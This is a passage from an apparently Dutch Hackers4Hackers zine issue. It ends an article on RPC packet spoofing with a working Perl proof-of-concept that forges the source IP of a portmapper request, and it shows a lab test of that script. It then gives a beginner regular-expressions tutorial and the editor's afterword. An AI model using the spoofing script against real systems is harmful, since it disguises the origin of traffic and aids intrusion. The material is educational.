manfile is ook zeer leerrijk.
XDR
XDR, oftewel eXternal Data Representation. Dit is een encoding protocol, om procedures, en de data
daarin verstaanbaar te maken voor verschillende os'en en architecturen. XDR heeft een heleboel
verschillende data types. Wij zullen er 2 van bespreken (die nodig zijn), als je meer wil weten over
XDR en XDR datatypes, kun je [9] eens lezen.
Integer: in XDR is deze 4 bytes lang (32 bit), en kan zowel negatief als positief zijn. een integer
ziet er als volgt uit :
(MSB) (LSB)
+-------+-------+-------+-------+
|byte 0 |byte 1 |byte 2 |byte 3 |
+-------+-------+-------+-------+
<------------32 bits------------>
Deze voorstelling is gehaald uit Rfc 1832
MSB: Most Significant Byte
LSB: Least Significant Byte
Men begint in byte 0, als je waarde groter is als 255, gebruikt men 2 bytes, en gebruikt men byte 0
en
byte 1, als je waarde groter is als 65535, gebruikt men 3 bytes, en gebruikt men dus byte 0, byte 1
en
2. om deze reden kan er in een integer maar maximaal een getal in van -2.147.483.648 tot
2.147.483.647. Deze 'byte order' noemt men ook wel 'Big endian Byte order'.
Unsigned integer: Deze is Bijna hetzelfde als een gewone integer, met het verschil dat de waarden in
een unsigned integer niet negatief kunnen zijn. een unsigned integer kan dus tussen 0 en
4.294.967.295 liggen.
De Velden XID, Call, RPC versie, Programma nummer, versie nummer en procedure nummer in de RPC
header zijn van het XDR datatype Unsigned Integer, Credentials en verifier zijn van een vooraf
ongedefinieerd type en hangen van de situatie af. De data die bij procedure hoort, zijn specifiek
voor je procedure. en hangen dus van procedure tot procedure af.
De datatypes zijn NIET aangekondigd, er wordt verwacht dat je applicatie zelf weet welke datatypes
er moeten gebruikt worden.
Alles aan elkaar plakken
Nu al the theorie gezegd is kunnen we aan de praktijk beginnen, om al deze theorie tot praktijk om
te toveren, moet men alles aan elkaar plakken, dus eerst de ip header maken, en dan in de ip data de
udp header steken, vervolgens stop je de rpc header in de udp data, en daarna kan je de rpc data
invullen (indien nodig). om alles wat duidelijker te maken, kan je eens zien naar het volgende
schema.
0 1 2 3
--+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+------
|Version| IHL |Type of Service| Total Length | De ip
+---------------------------------------------------------------+
| Identification |Flags| Fragment Offset | Header
+---------------------------------------------------------------+
| Time to Live | Protocol | Header Checksum |
+---------------------------------------------------------------+
| Source Address |
+---------------------------------------------------------------+
| Destination Address |
--+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+------
| Source port | Destination port | Udp
+---------------------------------------------------------------+
| Length | Checksum | Header
--+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+------
| XID | Udp
+---------------------------------------------------------------+
| CALL | Data
+---------------------------------------------------------------+
| RPC versie |
+---------------------------------------------------------------+
| Programma Nummer | of de
+---------------------------------------------------------------+
| Versie Nummer |
+---------------------------------------------------------------+
| Procedure Nummer | Rpc
+---------------------------------------------------------------+
| Credentials | Header
+---------------------------------------------------------------+
| Verifier |
+---------------------------------------------------------------+ - - -
| RPC data (dit kan meer als 4 bytes zijn !) | data
--+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+------
als je dit volledig zou invullen en zou doorsturen, heb je een rpc packet gespoofd.
Proof of concept code
In dit laatste hoofdstuk staat een klein stukje perl code, als proof of concept waarmee ik zal laten
zien hoe je in de praktijk rpc spoofed.
Deze code gebruikt rawip (zodat we niet heel de ip en udp header moeten maken, dit bespaart véél
tijd.), en werkt alleen op unix systemen (omdat rawip niet beschikbaar is voor andere operating
systems), indien je rawip niet hebt, kan je het op:
http://packetstormsecurity.nl/sniffers/net-rawip/Net-RawIP-0.09b.tar.gz
downloaden. Rawip heeft libpcap nodig, als je dit niet hebt kan je het downloaden op:
http://packetstormsecurity.org/libraries/libpcap/libpcap-0.6.2.tar.gz
De code stuurt een request naar de portmapper. Dit is uiteraard nutteloos, en dient alleen maar als
voorbeeld.
---] Begin of file
#!/usr/bin/perl
use Net::RawIP;
# run like ./rpcspoof.pl <spoofed ip> <destinated ip> <port>
# het ip dat je wilt spoofen
$source = shift;
# het ip van je slachtoffer
$dest = shift;
# de poort waarom de portmapper draait.
$port = shift;
$XID = "\xc2\xbf\x00\xdd";
$call = "\x00\x00\x00\x00";
$version = "\x00\x00\x00\x02";
$program_nr = "\x00\x01\x86\xa0"; # rpc portmapper
$version_nr = "\x00\x00\x00\x02";
$procedure_nr = "\x00\x00\x00\x04"; # PMAPPROC_DUMP
$cred = "\x00\x00\x00\x00".
"\x00\x00\x00\x00";
$ver = "\x00\x00\x00\x00".
"\x00\x00\x00\x00";
$data = $XID . $call . $version . $program_nr . $version_nr .
$procedure_nr . $cred . $ver ;
$packet = Net::RawIP->new({
ip => {
saddr => $source,
daddr => $dest
},
udp => {
dest => $port,
len => length($data) + 8, # 8 = de lengte van de udp header
data => $data
}
}) ;
$packet->send;
End of file
Nu deze code testen. Op 192.168.10.37 (localbox) ga ik een daemon draaien die op port 111 op udp
draait, op 192.168.10.36 (kimberly) ga ik de PoC draaien en me voordoen als 208.47.125.33.
kimberly :
root@kimberly:~ # perl rpcspoof.pl 208.47.125.33 192.168.10.37 111
root@kimberly:~ #
localbox :
root@localbox:~ # netcat -l -u -p 111 -o hexdump -v -v
listening on [any] 111 ...
connect to [192.168.10.37] from gary7.nsa.gov [208.47.125.33] 0
¿Ý
sent 0, rcvd 32
root@localbox:~ # cat hexdump
< 00000000 c2 bf 00 dd 00 00 00 00 00 00 00 02 00 01 86 a0 # ................
< 00000010 00 00 00 02 00 00 00 04 00 00 00 00 00 00 00 00 # ................
< 00000020 00 00 00 00 00 00 00 00 # ................
root@localbox:~ #
Zoals je kunt zien 'denkt' localbox dat het packet van gary7.nsa.gov komt, maar eigenlijk heeft
kimberly dit packet gestuurd.
Referenties
[1] http://warlord.nologin.org/papers/rpc-spoofing.txt
Door JimJones
[2] http://ietf.org/rfc/rfc0791.txt
Rfc 791 (IP)
[3] TCP/IP Illustrated Volume 1 ISBN: 0201633469
Door Richard W. Stevens
[4] http://ietf.org/rfc/rfc0768.txt
Rfc 768 (UDP)
[5] http://www.phrack.org/phrack/48/P48-14
door route
[6] http://razor.bindview.com/publish/papers/tcpseq.html
door Michal Zalewski (lcamtuf)
[7] NFS illustrated ISBN: 0201325705
door Brent Callaghan
[8] Power Programming With Rpc ISBN: 0937175773 (!!! voor geavanceerde lezers !!!)
door John Bloomer
[9] http://ietf.org/rfc/rfc1832.txt
Rfc 1832 (XDR: External Data Representation Standard)
[10] nmap_rpc.h http://insecure.org/nmap/
fyodor
-------------------------------------------------------
08. Reguliere expressies
-------------------------------------------------------
Inleiding
Ik was oorspronkelijk van plan dit mee te nemen in mijn derde perl artikel, maar aangezien reguliere
expressies in meerdere talen en applicaties voorkomen en ik het uitgebreid wilde behandelen ben ik
aan een apart artikel begonnen. Terwijl ik bezig was met dit artikel kwam ik erachter dat reguliere
expressies best wel veel omvat en vooral als ik uitgebreid op perl inga. Vandaar dat ik in dit
artikel de basis over reguliere expressies zal behandelen en er in de komende nummers van H4H
vervolg artikelen zullen volgen.
Benodigdheden:
concentratievermogen of een grote bak sterke koffie
een linux shell
egrep
eventueel je leesbril
Reguliere wattes?
Wat zijn nu precies reguliere expressies. Nou om in het kort antwoord te geven, dat zijn die
ingewikkelde tekenreeksen die je bijvoorbeeld wel eens in een bash script of een perl script
tegenkomt.
Bijvoorbeeld:
/\*[^*]*\*+([^/*][^*]*\*+)*/
En wat het betekend zal je als het goed is aan het eind van dit artikel weten. Allemaal leuk en
aardig denk je nu, maar wat is nou het nut van deze ingewikkelde rotzooi? Nou stel je hebt
bijvoorbeeld een artikel getikt en opgeslagen als regexp.h4h, nu weet je van jezelf dat je altijd
problemen hebt met het woord pyjama spellen. Niet dat ik dat woord vaak in een artikel gebruik, maar
dat terzijde. Je weet dat je het vaak spelt als pjyama. Met een reguliere expressie kan je nu zoeken
op alle regels met pyjama en pjyama erin (p(yj|jy)ama) of nog beter je kunt het fout gespelde woord
zelfs veranderen (s/pjyama/pyjama/g). Dit zijn maar enkele voorbeelden en aangezien ik in
voorbeelden verzinnen niet zo een held ben slaan ze nergens op, maar ik hoop in de loop van het
artikel duidelijk te kunnen maken wat de kracht is van reguliere expressies.
^ en $
Voordat we overgaan op perl wil ik eerst beginnen met egrep. Dit om te laten zien dat reguliere
expressies ook in andere applicaties voorkomen en je al veel met egrep of een andere applicatie kan
doen voor je ingewikkeld hoeft te doen in perl. Perl is ten slotte een verlengde van de shell. De
werking van egrep is niet zo moeilijk.
# egrep 'reg-exp' bestand
Dus stel nu dat ik pyjama wil zoeken in regexp.h4h, dan gebruik ik:
# egrep 'pyjama' regexp.h4h
Nu zul je een lijst krijgen met alle regels waar pyjama in voorkomt. egrep deelt het tekstbestand op
in regels en kijkt of elke regel voldoet aan de reguliere expressie en zal dit dan ook op het
beeldscherm weergeven. Maar stel dat je nu alleen de regels wilt zien waar de gezochte tekst aan het
begin van de regel voorkomt. Hiervoor gebruiken we het ^-teken.
# egrep '^pyjama' regexp.h4h
Dit zal alle regels pakken die beginnen met pyjama. Niet dat er veel zullen zijn, maar dat zou best
nog wel eens op kunnen lopen aangezien ik voorlopig nog niet klaar ben met dit artikel en het woord
pyjama bij deze nu mijn stokpaardje is geworden. Maar nu heb je natuurlijk ook nog regels die
eindigen met pyjama en die zijn natuurlijk ook interessant om te weten. Hiervoor gebruiken we het
teken $.
# egrep 'pyjama$' regexp.h4h
Dit pakt alle regels die eindigen op pyjama
Maar wat doet '^pyjama$' en '^$' nu eigenlijk. Nou dit is natuurlijk leuk om eerst zelf over na te
denken. Dus niet stiekem verder lezen, maar eerst denken wat de oplossing zal zijn.
Om een reguliere expressie te lezen is het makkelijk om het gewoon teken voor teken te ontcijferen.
Dus '^pyjama$' zoekt naar het begin van de regel gevolgd door pyjama (eigenlijk zoekt hij naar een
p, gevolgd door een y, gevolgd door een j, gevolgd door een a, gevolgd door een m en gevolgd door
een a.) en dan gevolgd door het einde van de regel. Dus alleen de regels waar alleen pyjama opstaat
worden weergeven. '^$' staat voor het begin van de regel gevolgd door het einde van de regel, dus
alleen de lege regels worden weergeven.
[]
Vervolgens gaan we het hebben over karakter classes. En om het makkelijk uit te leggen gebruiken we
hiervoor een voorbeeld. Stel we zoeken nu bijvoorbeeld naar beer en bier. Hiervoor gebruiken we
karakter classen.
# egrep 'b[ie]er' regexp.h4h
Dit zoekt naar de letter b gevolgd door een i of een e en gevolgd door een e en een r. In het kort:
hij zoekt naar bier of beer. Dit is ook erg makkelijk als je het woord pyjama zoekt maar dan ook als
het met een hoofdletter begint (Pyjama dus).
# egrep '[Pp]yjama' regexp.h4h
Maar stel nu dat je op zoek bent naar een woord waarvan de laatste letter een willekeurige letter
van het alfabet is. Dit kan je natuurlijk doen met:
# egrep 'pyjam[abcdefghijklmnopqrstuvwxyz]' regexp.h4h
Maar erg handig is dit niet. Vooral niet als je ook nog alle hoofdletters wilt weten. Gelukkig
kunnen we dit ook korter schrijven:
# egrep 'pyjam[a-z]' regexp.h4h
[^]
Dit is een stuk korter en dus ook makkelijker. En als je de hoofdletters erbij wilt hebben gebruik
je gewoon [A-Za-z] of als je bijvoorbeeld een hexadecimaal getal wilt pakken [0-9a-fA-F]. Maar stel
dat nu elke teken mag voorkomen behalve de hoofdletter A. Sja dan kan je natuurlijk een lijst maken
met alle tekens behalve de A, maar dit is natuurlijk veel te veel werk. Hiervoor gebruiken we het
volgende:
# egrep '[^A]' regexp.h4h
Huh? Dit betekent toch dat hij elke zin pakt die begint met een hoofdletter A? Nee, binnen een
karakter class heeft de ^ een aparte betekenis. Nu zoekt hij naar regels waar een teken in staat dat
niet A is. Dus '^[A]' is heel wat anders als '[^A]'. In het eerste geval gaat hij op zoek naar alle
regels die beginnen met A. (Hiervoor hoef je natuurlijk de A niet in een karakter class te stoppen
aangezien het om 1 karakter gaat. Zoals ik al zei, ik ben slecht in voorbeelden :P). En in het
tweede geval gaat hij op zoek naar elke regel waar een teken in voorkomt dat niet de hoofdletter A
is.
!Let op, [^B] zoekt dus naar een teken dat niet B is, dus een regel als BBBBBBABBBB pakt ie ook,
omdat A niet-B is.
Tussentijdse oefening.
Bekijk de volgende reguliere expressies en bedenk wat ze zullen doen. Probeer dit zo uitgebreid
mogelijk te doen.
# egrep '[Py]jam[^b-z]' regexp.h4h
# egrep '[Pp][yY][^j]ama$' regexp.h4h
# egrep '^p[^j]yjama' regexp.h4h
De antwoorden zullen aan het eind van dit artikel staan. Nee, niet doorscrollen om stiekem te
spieken, eerst nadenken. Zo moeilijk zijn ze ook weer niet hoor.
.
Maar wat als je nu een willekeurig getal of letter hebt of iets wilt hebben wat elke teken in kan
houden? Een karakter class met [-./a-zA-Z0-9] kan natuurlijk, maar het is makkelijker om in dit
geval een punt te gebruiken. Bijvoorbeeld je zoekt naar pyjama met een willekeurig teken erachter:
'pyjama.'. Dit kan je bijvoorbeeld gebruiken als je een datum zoekt en je weet niet met welke
karakters hij gescheiden is. '03.07.1978' vindt dan voor bijvoorbeeld 03/07/1978 of 03-07-1978. Maar
pas er wel voor op, want 22403807 19785633 vindt hij ook.
Dus hoe je je regexp opbouwt hangt ook voor een groot deel af van de data die je doorzoekt.
# egrep 'p..ama' regexp.h4h
Bovenstaand voorbeeld zal dus ook de pyjama en pjyama weer geven, maar ook 'putama' of 'hup lama'.
Zoals je het ziet hangt het erg van de data af die je doorzoekt en moet je uitkijken wat je in je
reguliere expressie gebruikt. Hoe kleiner het kader is dat je maakt des te minder uitvoer krijg je,
maar des te beter klopt de uitvoer.
# egrep 'p..ama' regexp.h4h
en
# egrep 'p(yj|jy)ama' regexp.h4h
(|)
pakken beide pyjama en pjyama, alleen de eerste pakt dus ook 'hup lama'. Nou vond ik dit een leuke
overgang om meteen door te gaan met uitleggen wat () en | doet, maar achteraf valt dat best tegen.
Maar goed | staat voor of en () is om het boeltje een beetje bij elkaar te houden.
# egrep 'p(yj|jy)ama' regexp.h4h
Bovenstaande zoekt dus naar 'pyjama' en / of 'pjyama'. Met al die haakjes kan je natuurlijk
makkelijk in de war raken, let dus ook goed op dat je () en [] niet door elkaar haalt. En straks
komen <> en {} nog aan bod. Stelletje bofkonten. Je ziet dat je met behulp van () en | je het kader
een stuk kleiner kan maken waarmee je zoekt.
Nog wat oefeningetjes:
# egrep '^[^P](yj|jy)(am|ma)' regexp.h4h
# egrep '(Pp)[Y|y].jama' regexp.h4h
# egrep '.[Pp](Y|yj).m.' regexp.h4h
\< en \>
Dit is een speciale optie voor egrep. Hij komt ook voor in andere talen, maar meestal onder een
andere noemer, zoals \b, maar dat zal ik in verdere artikelen nog behandelen. \< en \> betekenen het
begin en het eind van een woord. Waarom de \ er voor staat is om de < en > te escapen. Over ge-
escapede karakters straks meer. Het begin of het eind van het woord is het punt waar een woord
begint. Dit is dus na een spatie of aan het begin of het eind van de regel. Of een return.
# egrep '\<pyjama\>' regexp.h4h
Zoekt naar alle regels waar het woord Pyjama in voorkomt, dus als jij Nachtpyjama of pyjamafeest
hebt zal hij daar niet op reageren. Nou is pyjama natuurlijk een rotvoorbeeld, maar stel je zoekt
bijvoorbeeld alle regels met het woord 'kan' erin. Dan heb je geen interesse in vakantie of pikant
of iets dergelijks. Hiervoor gebruik je dan:
# egrep '\<kan\>' regexp.h4h
?*+ {min,max}
Om aantallen aan te geven gebruiken we de metakarakters: ?, *, + en {min,max}. Deze geven aan hoe
vaak een teken voorkomt. Stel je bent net zo een slechte speller als mij en spelt pyjama vaak als
pyama. Dat kan je doen met:
# egrep 'p(yj|y)ama' regexp.h4h
maar het is een stuk makkelijk om het in dit geval anders te doen.
# egrep 'pyj?ama' regexp.h4h
Het vraagteken kijkt of het teken daarvoor, in dit geval 'j' er 0 of 1 keer in voorkomt. De andere
tekens hebben ongeveer dezelfde betekenis, maar hieronder even in het kort wat de verschillen zijn:
? 0 of 1
* 0 of meer
+ 1 of meer
{min, max} tussen minimum en maximum.
Een combinatie zoals .* zal dus altijd voorkomen, want op elke regel staat wel een teken. Even goed
kan deze combinatie toch nog gebruikt worden, maar dat wordt in een ander artikel behandeld. Let
hier dus ook goed op met wat je nodig hebt. Want je kunt hier makkelijk veel te veel resultaten
krijgen.
Tussenoefening:
# egrep 'P?[Yy](jam)*a' regexp.h4h
# egrep '(Py{3})?y[ja](m|a)' regexp.h4h
# egrep 'P+y?(ja)*.[ma]' regexp.h4h
Je ziet dat het al steeds meer abracadabra wordt, maar hopelijk is alles nog te volgen. Als je alles
stap voor stap bekijkt wat de reguliere expressie doet is het een stuk makkelijker te volgen dan als
je het geheel in een keer wilt ontcijferen.
egrep -i
Stel dat je nu naar het woord Pyjama zoekt, maar dat het ook als PyJaMa gespeld kan worden. Je kunt
dan natuurlijk een regexp gebruiken zoals:
# egrep '[Pp][Yy][Jj][Aa][Mm][Aa]' regexp.h4h
Mwah, dat is nog te doen, maar als je zoekt naar echte scrabblewoorden, zoals pianostemmer of
olifantenstaartje, dan ben je wel een tijdje bezig. Daarvoor heeft de schrijver van egrep er een
extra optie in gestopt. Met 'egrep -i' maakt het niet uit of je hoofdletters gebruikt of niet.
# egrep -i 'pyjama' regexp.h4h
Dat ziet er een stuk vriendelijker uit. Dit komt niet voor in elk programma dat reguliere expressies
gebruikt, maar in _het_ programma voor regexps (perl) komt het wel voor. Maar dit komt in een later
artikel allemaal ter sprake.
\1
Stel dat je uit een tekst alle dubbele woorden wilt weergeven. Het probleem dat dan opspeelt is dat
je niet weet naar welk woord je zoekt. Je kunt 1 woord zoeken met '\<[a-zA-Z]+\>'. Begin van het
woord, wat letters (minimaal 1) en het eind van het woord. Maar nu weten we niet wat het tweede
woord moet zijn, want als we nogmaals '\<[a-zA-Z]+\>' gebruiken krijgen we gewoon weer een begin van
een woord, wat letters en het einde van een woord, wat dus betekent dat twee verschillende woorden
ook matchen. Dan komt er hier weer wat nieuws. In voorgaande delen zagen we al dat we ( en )
gebruikte voor | en om tekens te groeperen ivm * en dergelijke, maar () wordt gebruikt voor meer.
Voor elke () die je gebruikt, maakt de regexp motor een terugkoppeling aan met wat er vergeleken is.
Zie het voorbeeld:
# egrep '\<([a-zA-Z]+) \1\>'
In dit voorbeeld zoeken we dus naar een woord met [a-zA-Z]+. Dit zetten we tussen (), zodat we
nogmaals naar hetzelfde woord kunnen zoeken met \1. Verwar dit bijvoorbeeld niet met '\<([a-zA-
Z]+)\> \1', want dit pakt ook 'boot bootje'. In volgende artikelen zal ik enkele valkuilen
behandelen.
escaping
Wat nu als je nu een . in je reguliere expressie wilt gebruiken? Momenteel gaat hij dan op zoek naar
een willekeurig teken. Maar je kunt de . escapen door middel van een \.
# egrep '143\.162\.([0-9]){1,3}\.([0-9]){1,3}' regexp.h4h
Om bijvoorbeeld wat Ip-adresjes uit een lijstje te grabben. Hetzelfde kan je doen met de andere
metakarakters, zoals bijvoorbeeld (). En om nog even terug te komen op het begin, wat betekent
/\*[^*]*\*+([^/*][^*]*\*+)*/ nu?
We schrijven het gewoon even helemaal uit. Deze expressie komt uit perl en doorgaans staan de
expressies in perl tussen / ipv ' zoals het geval is bij egrep. Dus de eerste en laatste / kan je
wegdenken. De reguliere expressie die je nu overhoudt is \*[^*]*\*+([^/*][^*]*\*+)* en deze zoekt
dus naar:
- een *
- gevolgd door 0 of meerdere tekens die geen * zijn
- gevolgd door een of meerdere *
- gevolgd door 0 of meerdere:
- een teken dat geen / of * is
- gevolg door 0 of meerdere tekens die geen * zijn
- gevolgd door 1 of meerdere *
Voorbeelden:
**
*blaat***Dhjjhashasjjash******
Nog wat oefeningetjes om af te sluiten. En dan hebben jullie de basis onder de knie.
1. Schrijf een regexp om uit een lijst met data ip-adressen te pakken.
2. Schrijf een regexp om uit een lijst met data alle datums uit januari te pakken. Januari wordt
aangegeven als 'Jan'
3. Schrijf een regexp om driedubbele woorden weer te geven, zoals 'dat dat dat'.
4. Schrijf een regexp die zoekt naar regels die beginnen met Subject:, de rest van de regel moet in
\1 komen.
De antwoorden van deze oefeningen zullen in het volgende artikel te zien zijn. Een aantal bestandjes
met wat willekeurige data die je kunt gebruiken bij deze oefeningen zijn te vinden op onze website
bij de online versie van dit artikel.
Antwoorden
# egrep '[Py]jam[^b-z]' regexp.h4h
- Zoekt naar een P of een y
- gevolgd door de tekens j,a en m,
- gevolgd door een teken dat niet b t/m z is.
Voorbeelden: Pjama
# egrep '[Pp][yY][^j]ama$' regexp.h4h
- Zoekt naar een P of een p
- gevolgd door een Y of een y
- gevolgd door een teken dat geen j is
- gevolgd door a,m en a,
- gevolgd door het einde van de regel.
Voorbeeld:
Pylama aan het eind van een regel.
# egrep '^p[^j]yjama' regexp.h4h
- Zoekt naar het begin van een regel
- gevolgd door een teken dat geen j is
- gevolgd door de tekens y,j,a,m en a.
Voorbeeld:
pKyjama aan het begin van de regel.
# egrep '^[^P](yj|jy)(am|ma)' regexp.h4h
- Zoekt naar het begin van de regel
- gevolgd door een teken dat geen hoofdletter P is
- gevolgd door yj of jy
- gevolgd door am of ma.
Voorbeeld:
Qyjam aan het begin van de regel.
# egrep '(Pp)[Y|y].jama' regexp.h4h
- Zoekt naar de tekens P en p
- gevolgd door een Y, een | of een y
- gevolgd door een willekeurig teken
- gevolgd door de tekens j,a,m en a.
Voorbeeld:
Pp|Sjama
# egrep '.[Pp](Y|yj).m.' regexp.h4h
- Zoekt naar een willekeurig teken
- gevolgd door een P of een p
- gevolgd door een Y of een y en een j
- gevolgd door een willekeurig teken
- gevolgd door een m
- gevolgd door een willekeurig teken.
Voorbeeld:
Opyimt
# egrep 'P?[Yy](jam)*a' regexp.h4h
- Zoekt naar 0 of 1 P
- gevolgd door een Y of y
- gevolgd door 0 of meerdere keer de tekenreeks 'jam'
- gevolgd door een a. Voorbeelden:
Pyjamjama
Ya
# egrep '(Py{3})?y[ja](m|a)' regexp.h4h
- Zoekt naar 0 of 1 keer
- een P
- gevolgd door driemaal een y
- gevolgd door een y
- gevolgd door een j of een a
- gevolgd door een m of een a.
Voorbeelden:
Pyyyyja
yam
# egrep 'P+y?(ja)*.[ma]' regexp.h4h
- Zoekt naar 1 of meerdere P
- gevolgd door 0 of 1 y
- gevolgd door 0 of meerdere keren de tekenreeks 'ja'
- gevolgd door een willekeurig teken
- gevolgd door een m of een a.
Voorbeelden:
Pyjama
PPPPPjajajaQm
Referenties
'Mastering Regular Expressions' - Jeffrey E. F. Friedl - ISBN 1-56592-257-3
Asby
-------------------------------------------------------
09. Nawoord & Dankwoord
-------------------------------------------------------
Nawoord
Daar is hij dan alweer, het einde van deze unieke papieren H4H. Ik hoop dat jullie alles gelezen
hebben en er plezier aan hebben gehad, en ook natuurlijk dat jullie er wat van geleerd hebben.
Ik ben erg benieuwd naar jullie reacties erop, mail wordt altijd gewaardeerd, of persoonlijke
reacties op Outerbrains.
De volgende H4H zal weer gewoon elektronisch worden gemaakt, dus zal te vinden zijn op onze website.
Ook voor de komende H4H hebben we weer artikelen nodig, dus als je wat weet te schrijven mail ons
dan op artikel@hackers4hackers.org.
Dankwoord
Mijn dank gaat uit naar de schrijvers van de artikelen, want zonder hen is het maken van een H4H
toch onmogelijk. Verder wil ik Scorpster bedanken voor het proeflezen van deze H4H en me te wijzen
op fouten erin (ik heb nog nooit iemand zo snel drie keer een H4H zien lezen), Aprocom voor het
drukken van deze H4H, en als laatste wil ik Fragile bedanken voor haar geduld en steun tijdens de
stressvolle dagen terwijl ik deze H4H aan het maken was.
Thijs Bosschert
Hoofdredacteur Hackers4Hackers
Nighthawk@hackers4hackers.org
H4h-redactie@hackers4hackers.org
http://www.hackers4hackers.org